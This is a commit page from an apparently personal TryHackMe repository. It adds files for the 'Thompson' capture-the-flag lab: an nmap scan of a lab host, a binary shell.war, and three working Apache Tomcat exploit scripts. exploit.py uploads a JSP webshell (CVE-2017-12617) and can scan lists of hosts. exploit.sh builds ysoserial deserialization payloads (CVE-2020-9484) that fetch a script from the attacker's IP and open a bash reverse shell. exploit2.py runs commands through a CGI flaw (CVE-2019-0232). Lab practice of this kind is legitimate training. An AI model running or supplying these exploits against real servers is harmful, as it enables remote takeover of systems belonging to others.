curo/TryHackMe
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

2026-06-05

Browse Source
This commit is contained in:
curo
2026-06-05 09:00:50 +02:00
parent 0e30222666
commit 9fc706a8bd
71 changed files with 1762 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
CTF/Thompson/exploit.py
+224
View File
@@ -0,0 +1,224 @@
#!/usr/bin/python
import requests
import re
import signal
from optparse import OptionParser
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
banner="""
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
[@intx0x80]
"""
def signal_handler(signal, frame):
print ("\033[91m"+"\n[-] Exiting"+"\033[0m")
exit()
signal.signal(signal.SIGINT, signal_handler)
def removetags(tags):
remove = re.compile('<.*?>')
txt = re.sub(remove, '\n', tags)
return txt.replace("\n\n\n","\n")
def getContent(url,f):
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
requests.packages.urllib3.disable_warnings()
re=requests.get(str(url)+"/"+str(f), headers=headers,verify=False)
return re.content
def createPayload(url,f):
evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>'
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
requests.packages.urllib3.disable_warnings()
req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers,verify=False)
if req.status_code==201:
print "File Created .."
def RCE(url,f):
EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>"""
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
requests.packages.urllib3.disable_warnings()
req=requests.put(str(url)+f+"/",data=EVIL, headers=headers,verify=False)
def shell(url,f):
while True:
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
cmd=raw_input("$ ")
payload={'cmd':cmd}
if cmd=="q" or cmd=="Q":
break
requests.packages.urllib3.disable_warnings()
re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers,verify=False)
re=str(re.content)
t=removetags(re)
print t
#print bcolors.HEADER+ banner+bcolors.ENDC
parse=OptionParser(
bcolors.HEADER+"""
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
./cve-2017-12617.py [options]
options:
-u ,--url [::] check target url if it's vulnerable
-p,--pwn [::] generate webshell and upload it
-l,--list [::] hosts list
[+]usage:
./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt
[@intx0x80]
"""+bcolors.ENDC
)
parse.add_option("-u","--url",dest="U",type="string",help="Website Url")
parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
parse.add_option("-l","--list",dest="L",type="string",help="hosts File")
(opt,args)=parse.parse_args()
if opt.U==None and opt.P==None and opt.L==None:
print(parse.usage)
exit(0)
else:
if opt.U!=None and opt.P==None and opt.L==None:
print bcolors.OKGREEN+banner+bcolors.ENDC
url=str(opt.U)
checker="Poc.jsp"
print bcolors.BOLD +"Poc Filename {}".format(checker)
createPayload(str(url)+"/",checker)
con=getContent(str(url)+"/",checker)
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
print bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC
print bcolors.WARNING+url+"/"+checker+bcolors.ENDC
else:
print 'Not Vulnerable to CVE-2017-12617 '
elif opt.P!=None and opt.U!=None and opt.L==None:
print bcolors.OKGREEN+banner+bcolors.ENDC
pwn=str(opt.P)
url=str(opt.U)
print "Uploading Webshell ....."
pwn=pwn+".jsp"
RCE(str(url)+"/",pwn)
shell(str(url),pwn)
elif opt.L!=None and opt.P==None and opt.U==None:
print bcolors.OKGREEN+banner+bcolors.ENDC
w=str(opt.L)
f=open(w,"r")
print "Scaning hosts in {}".format(w)
checker="Poc.jsp"
for i in f.readlines():
i=i.strip("\n")
createPayload(str(i)+"/",checker)
con=getContent(str(i)+"/",checker)
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
print str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m"
CTF/Thompson/exploit.sh
Executable
+93
View File
@@ -0,0 +1,93 @@
#!/bin/bash
if [ $# -ne 4 ]; then
echo " "
echo " CVE-2020-9484 Exploit"
echo " Apache Tomcat Deserialization"
echo " "
echo " Usage:"
echo " $0 [your IP] [your port] [target IP] [target port]"
echo " Example:"
echo " $0 192.168.100.4 1337 192.168.10.119 8080"
exit 1
fi
# Gera payload 1 (comando que irá baixar o payload no server)
echo " [*] Gerando payload 1..."
java -jar ysoserial-all.jar CommonsCollections2 'curl http://'$1'/payload.sh > /tmp/payload.sh' > downloadPayload.session
# Gera payload 2 (payload que fará a conexão reversa)
echo " [*] Gerando payload 2..."
echo "#\!/bin/bash" > payload.sh;echo 'bash -c "bash -I >& /dev/tcp/'$1'/'$2' 0>&1"' >> payload.sh
# Gera payload 3 (dá permissões ao payload)
echo " [*] Gerando payload 3..."
java -jar ysoserial-all.jar CommonsCollections2 "chmod 777 /tmp/payload.sh" > chmodPayload.session
# Gera payload 4 (executa o payload)
echo " [*] Gerando payload 4..."
java -jar ysoserial-all.jar CommonsCollections2 "bash /tmp/payload.sh" > executePayload.session
# Gera wordlist
echo " [*] Gerando wordlist..."
echo "../../../../../../tmp/" > wl.txt
echo "../../../../../tmp/" >> wl.txt
echo "../../../../tmp/" >> wl.txt
echo "../../../tmp/" >> wl.txt
echo "../../tmp/" >> wl.txt
echo "../../../../../../home/" >> wl.txt
echo "../../../../../home/" >> wl.txt
echo "../../../../home/" >> wl.txt
echo "../../../home/" >> wl.txt
echo "../../home/" >> wl.txt
echo "../../../../../../opt/" >> wl.txt
echo "../../../../../opt/" >> wl.txt
echo "../../../../opt/" >> wl.txt
echo "../../../opt/" >> wl.txt
echo "../../opt/" >> wl.txt
echo "../../../../../../opt/samples/" >> wl.txt
echo "../../../../../opt/samples/" >> wl.txt
echo "../../../../opt/samples/" >> wl.txt
echo "../../../opt/samples/" >> wl.txt
echo "../../opt/samples/" >> wl.txt
echo "../../../../../../opt/samples/uploads/" >> wl.txt
echo "../../../../../opt/samples/uploads/" >> wl.txt
echo "../../../../opt/samples/uploads/" >> wl.txt
echo "../../../opt/samples/uploads/" >> wl.txt
echo "../../opt/samples/uploads/" >> wl.txt
echo "../../../../../../usr/local/" >> wl.txt
echo "../../../../../usr/local/" >> wl.txt
echo "../../../../usr/local/" >> wl.txt
echo "../../../usr/local/" >> wl.txt
echo "../../usr/local/" >> wl.txt
echo "../../../../../../usr/local/tomcat/" >> wl.txt
echo "../../../../../usr/local/tomcat/" >> wl.txt
echo "../../../../usr/local/tomcat/" >> wl.txt
echo "../../../usr/local/tomcat/" >> wl.txt
echo "../../usr/local/tomcat/" >> wl.txt
echo " [!] Lembre-se de iniciar o web server neste diretório"
echo " [!] Lembre-se de abrir a porta "$2"/TCP"
# Explora
echo " [*] Explorando..."
for i in $(cat wl.txt);do
echo ' [+] Cookie:JSESSIONID='$i'downloadPayload'
curl -s 'http://'$3:$4'/index.jsp' -H 'Cookie:JSESSIONID='$i'downloadPayload' -F 'image=@downloadPayload.session' -a "Chrome" &>/dev/null;
sleep 1;
curl -s 'http://'$3:$4'/index.jsp' -H 'Cookie:JSESSIONID='$i'downloadPayload' -A "Chrome" &>/dev/null;
sleep 1;
echo ' [+] Cookie:JSESSIONID='$i'chmodPayload'
curl -s http://$3:$4/index.jsp -H 'Cookie:JSESSIONID='$i'chmodPayload' -F 'image=@chmodPayload.session' -a "Chrome" &>/dev/null;
sleep 1;
curl -s http://$3:$4/index.jsp -H 'Cookie:JSESSIONID='$i'chmodPayload' -A "Chrome" &>/dev/null;
sleep 1;
echo ' [+] Cookie:JSESSIONID='$i'executePayload'
curl -s http://$3:$4/index.jsp -H 'Cookie:JSESSIONID='$i'executePayload' -F 'image=@executePayload.session' -a "Chrome" &>/dev/null;
sleep 1;
curl -s http://$3:$4/index.jsp -H 'Cookie:JSESSIONID='$i'executePayload' -A "Chrome" &>/dev/null;
sleep 1;
done
# Remove arquivos gerados anteriormente
rm wl.txt payload.sh downloadPayload.session chmodPayload.session executePayload.session &>/dev/null
CTF/Thompson/exploit2.py
+36
View File
@@ -0,0 +1,36 @@
import requests
import sys
# http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet.exe+user
url = sys.argv[1]
url_dir = "/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5C"
cmd = sys.argv[2]
vuln_url = url + url_dir +cmd
print '''
_______ ________ ___ ___ __ ___ ___ ___ ____ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ / _ \__ \|___ \__ \
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | | | ) | __) | ) |
| | \ \/ / | __|______/ /| | | || |\__, |______| | | |/ / |__ < / /
| |____ \ / | |____ / /_| |_| || | / / | |_| / /_ ___) / /_
\_____| \/ |______| |____|\___/ |_| /_/ \___/____|____/____|
Apache Tomcat Remote Code Execution on Windows - CGI-BIN
By Jas502n
'''
print "Usage: python CVE-2019-0232.py url cmd"
print "The Vuln url:\n\n" ,vuln_url
r = requests.get(vuln_url)
print "\nThe Vuln Response Content: \n\n" , r.content
CTF/Thompson/gobuster_scan_01.txt
View File
CTF/Thompson/ip.txt
+1
View File
@@ -0,0 +1 @@
10.82.164.61
CTF/Thompson/nmap_scan_01.txt
+41
View File
@@ -0,0 +1,41 @@
# Nmap 7.99 scan initiated Fri May 8 10:54:29 2026 as: /usr/lib/nmap/nmap --privileged -A -T4 -p- -oN nmap_scan_01.txt 10.82.164.61
Nmap scan report for 10.82.164.61
Host is up (0.059s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
| 256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_ 256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open http Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/8.5.5
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/8%OT=22%CT=1%CU=35970%PV=Y%DS=3%DC=T%G=Y%TM=69FDA552
OS:%P=aarch64-unknown-linux-gnu)SEQ(SP=102%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=
OS:8)SEQ(SP=103%GCD=1%ISR=10C%TI=Z%CI=I%II=I%TS=8)SEQ(SP=104%GCD=1%ISR=10D%
OS:TI=Z%CI=I%II=I%TS=8)SEQ(SP=107%GCD=1%ISR=105%TI=Z%CI=I%II=I%TS=8)SEQ(SP=
OS:FE%GCD=1%ISR=FF%TI=Z%CI=I%TS=A)OPS(O1=M4E8ST11NW7%O2=M4E8ST11NW7%O3=M4E8
OS:NNT11NW7%O4=M4E8ST11NW7%O5=M4E8ST11NW7%O6=M4E8ST11)WIN(W1=68DF%W2=68DF%W
OS:3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M4E8NNSNW7%CC=
OS:Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=
OS:40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0
OS:%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z
OS:%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G
OS:%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 3306/tcp)
HOP RTT ADDRESS
1 61.33 ms 192.168.128.1
2 ...
3 61.36 ms 10.82.164.61
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May 8 10:56:50 2026 -- 1 IP address (1 host up) scanned in 141.50 seconds
CTF/Thompson/shell.war
BIN
View File
Binary file not shown.